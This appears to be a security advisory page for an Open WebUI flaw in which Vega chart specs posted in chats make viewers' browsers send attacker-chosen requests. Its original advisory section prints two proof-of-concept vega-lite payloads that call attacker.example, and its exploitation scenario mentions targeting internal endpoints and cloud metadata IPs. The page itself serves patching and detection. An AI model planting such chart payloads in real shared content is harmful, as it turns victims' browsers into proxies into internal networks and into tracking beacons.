CVE-2026-70480: Open WebUI: client-side SSRF via Vega chart rendering

GHSA-rffm-9q57-q649 MEDIUM PoC AVAILABLE CISA: TRACK*
Published August 4, 2026
CISO Take

Open WebUI renders Vega and Vega-lite chart specs embedded in chat content without restricting what the chart's data loader can fetch, so any user who can place a chart in front of another user — via a shared chat, a channel message, or content the attacker influences through RAG or tool output — can force the victim's browser to make attacker-chosen GET requests and, when the target is same-origin or has permissive CORS, read the response back into the page. This bypasses server-side SSRF protections entirely because the request originates from the victim's browser, not the server, and with 4 downstream dependents and 150 other CVEs already tracked in this package, exposure spans any deployment on the default configuration. The EPSS score is low (0.19%, 91st percentile) and it's not in CISA KEV or SSVC-flagged for immediate action, but a public PoC exists and the fix is a one-line-effort upgrade, so there's no reason to delay. Patch to open-webui 0.11.0 or later, and in the interim treat any internal SSRF-adjacent exposure (internal admin panels, cloud metadata endpoints reachable from user browsers) as at risk if users share chats or channels with untrusted parties. Detection is straightforward: watch for anomalous outbound browser-originated requests to internal hosts or unknown external beacons correlated with chat/channel views in web server or proxy logs.

Sources: NVD GitHub Advisory EPSS CISA KEV OWASP ATLAS

What is the risk?

Medium severity (CVSS 4.1) reflects the GET-only, UI-required nature of the attack, but the practical risk is understated by the score alone: this is a browser-side SSRF that completely evades server-side SSRF filtering, and a public, copy-paste PoC exists that fires either at chart construction (data.url) or at render time (image mark, which also survives SVG sanitization). Exploitability is low-effort — no authentication bypass, no complex payload crafting, just posting a JSON chart spec where a victim will view it. Exposure is broad because the vulnerable path is unconditional in default configuration, and the required precondition (an account that can place content a victim will open) is met by any multi-user deployment with shared chats, channels, or RAG/tool integrations an attacker can influence.

How does the attack unfold?

Content placement
Attacker with a low-privilege account posts a vega/vega-lite fenced code block into a shared chat, channel message, or content the attacker can influence via RAG/tool output.
AML.T0011.003
Victim views message
The victim opens the shared chat, channel, or shared-chat link and Open WebUI renders the Vega spec using the browser's default, unrestricted resource loader.
Browser-side SSRF execution
The victim's browser issues the attacker-chosen GET request (via data.url at view construction or via an image mark's URL written into the rendered SVG), bypassing all server-side SSRF protections.
Response capture / confirmation
If the target is same-origin or CORS-permissive, the response body is pulled into the rendered chart and exposed to viewers of the message; otherwise the beacon confirms the message was viewed and by whom.
AML.T0025

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip >= 0.6.34, < 0.11.0 0.11.0
152.6K 3 dependents Pushed 2d ago 83% patched ~5d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
4.1 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 10% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI Required
S Changed
C Low
I None
A None

What should I do?

1 step
  1. Upgrade open-webui to 0.11.0 or later, where the Vega view loader's load() always throws and sanitize() restricts resolution to data: URIs and same-origin only — no configuration flags are needed, the fix is unconditional. Until patched, consider disabling or restricting shared chats/channels to trusted users only, and audit whether RAG sources or agent tool outputs can be influenced by external/lower-trust content that later renders in another user's session. For detection, monitor outbound requests from user browsers (via egress proxy or CSP report-uri) for connections to unexpected internal hosts or unknown external domains that correlate with chat/channel view events, and review network logs for GET requests matching Vega's default fetch patterns immediately following a chat/channel post.

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, Robustness and Cybersecurity
OWASP LLM Top 10
LLM05 - Improper Output Handling

Frequently Asked Questions

What is CVE-2026-70480?

Open WebUI renders Vega and Vega-lite chart specs embedded in chat content without restricting what the chart's data loader can fetch, so any user who can place a chart in front of another user — via a shared chat, a channel message, or content the attacker influences through RAG or tool output — can force the victim's browser to make attacker-chosen GET requests and, when the target is same-origin or has permissive CORS, read the response back into the page. This bypasses server-side SSRF protections entirely because the request originates from the victim's browser, not the server, and with 4 downstream dependents and 150 other CVEs already tracked in this package, exposure spans any deployment on the default configuration. The EPSS score is low (0.19%, 91st percentile) and it's not in CISA KEV or SSVC-flagged for immediate action, but a public PoC exists and the fix is a one-line-effort upgrade, so there's no reason to delay. Patch to open-webui 0.11.0 or later, and in the interim treat any internal SSRF-adjacent exposure (internal admin panels, cloud metadata endpoints reachable from user browsers) as at risk if users share chats or channels with untrusted parties. Detection is straightforward: watch for anomalous outbound browser-originated requests to internal hosts or unknown external beacons correlated with chat/channel views in web server or proxy logs.

Is CVE-2026-70480 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-70480, increasing the risk of exploitation.

How to fix CVE-2026-70480?

Upgrade open-webui to 0.11.0 or later, where the Vega view loader's load() always throws and sanitize() restricts resolution to data: URIs and same-origin only — no configuration flags are needed, the fix is unconditional. Until patched, consider disabling or restricting shared chats/channels to trusted users only, and audit whether RAG sources or agent tool outputs can be influenced by external/lower-trust content that later renders in another user's session. For detection, monitor outbound requests from user browsers (via egress proxy or CSP report-uri) for connections to unexpected internal hosts or unknown external domains that correlate with chat/channel view events, and review network logs for GET requests matching Vega's default fetch patterns immediately following a chat/channel post.

What systems are affected by CVE-2026-70480?

This vulnerability affects the following AI/ML architecture patterns: chat/web UI frontends, RAG pipelines, agent tool output pipelines.

What is the CVSS score for CVE-2026-70480?

CVE-2026-70480 has a CVSS v3.1 base score of 4.1 (MEDIUM). The EPSS exploitation probability is 0.20%.

What is the AI security impact?

Affected AI Architectures

chat/web UI frontendsRAG pipelinesagent tool output pipelines

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link
AML.T0025 Exfiltration via Cyber Means

Compliance Controls Affected

EU AI Act: Article 15
OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

## Summary Open WebUI renders `vega` and `vega-lite` fenced code blocks in chat content by building a Vega view in the viewer's browser without a restricted resource loader. Any user who can place such a block where another user will see it can make that user's browser issue attacker-chosen outbound GET requests, and read back responses from same-origin or CORS-permissive targets into the rendered page. Because the request comes from the browser, server-side SSRF protections never see it. ## Preconditions Default configuration, no flags or environment variables involved: Vega blocks render unconditionally wherever chat content is displayed. The attacker needs an account that can put content in front of the victim, which covers a shared chat, a channel message, and model, RAG or tool output the attacker can influence. The victim must open the message, so this is not zero-click. Deployments where the victim's browser has no network position of interest lose little. ## Impact The victim's browser becomes a request proxy into whatever it can reach: internal hosts and ports behind the perimeter, same-site endpoints, and out-of-band beacons that confirm a chart was viewed and by whom. Where the target is same-origin or returns permissive CORS headers, the response body is pulled back into the chart in the victim's page, which turns the request into a read. Requests are GET only, and no server-side data is exposed to the attacker directly. ## Fix Fixed in 5278eb906 (#26806), released in 0.11.0. The view is now constructed with a loader whose `load` always throws and whose `sanitize` resolves the URI with the browser's own URL parser and permits only `data:` and same-origin results, so charts can only use inline `data.values`. Upgrading is sufficient; no configuration change is needed. ## Root cause - `src/lib/utils/index.ts` — `renderVegaVisualization` - `src/lib/components/chat/Messages/CodeBlock.svelte` — renders `vega`/`vega-lite` blocks The renderer treated a chart spec as trusted authored content rather than as untrusted chat text, so it accepted Vega's default loader. That loader has two separate ways out of the page: `data.url` and topojson/geo sources are fetched at view construction, and image marks pass their `url` through `sanitize` and are written into the output SVG as `<image href>`, which the browser fetches when the chart is displayed. The second path survives downstream SVG sanitization because the URL is a legitimate attribute value, not markup. ## Proof of concept Post either block into a chat, channel message, or shared chat that the victim will open. Neither requires the victim to interact beyond viewing. ```vega-lite {"$schema":"https://vega.github.io/schema/vega-lite/v5.json","data":{"url":"http://attacker.example/probe?a=1"},"mark":"point"} ``` ```vega-lite {"$schema":"https://vega.github.io/schema/vega-lite/v5.json","data":{"values":[{"x":1}]},"mark":{"type":"image","url":"http://attacker.example/beacon.png"},"encoding":{"x":{"field":"x"}}} ``` The first fires at view construction; the second fires when the rendered SVG is displayed. Both are visible as outbound requests in the victim's network log and in the attacker's listener. After the fix neither request is made and inline `data.values` charts still render. ## Credits - @Zureno — reported the issue and the `data.url` path. - @Classic298 — identified the image-mark sink and authored the fix.

Exploitation Scenario

An attacker with a low-privilege Open WebUI account posts a vega-lite spec into a shared chat or public channel with `data.url` pointing at an internal admin endpoint (e.g., an internal service on 127.0.0.1 or a cloud metadata IP) or embeds an `image` mark URL pointing at an attacker-controlled beacon. When a victim — potentially an admin or a user with broader network access — opens the message, their browser silently issues the GET request as part of constructing or rendering the chart. If the internal target is same-origin or returns permissive CORS headers, the response body is pulled into the rendered SVG/chart and visible to anyone who can later view that same message, effectively giving the attacker a read primitive into internal infrastructure via the victim's browser as a proxy — while the beacon variant alone confirms exactly when and by whom the message was viewed, useful for reconnaissance or tracking targeted individuals.

Weaknesses (CWE)

CWE-918 — Server-Side Request Forgery (SSRF): The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N

Timeline

Published
August 4, 2026
Last Modified
August 5, 2026
First Seen
August 4, 2026

Related Vulnerabilities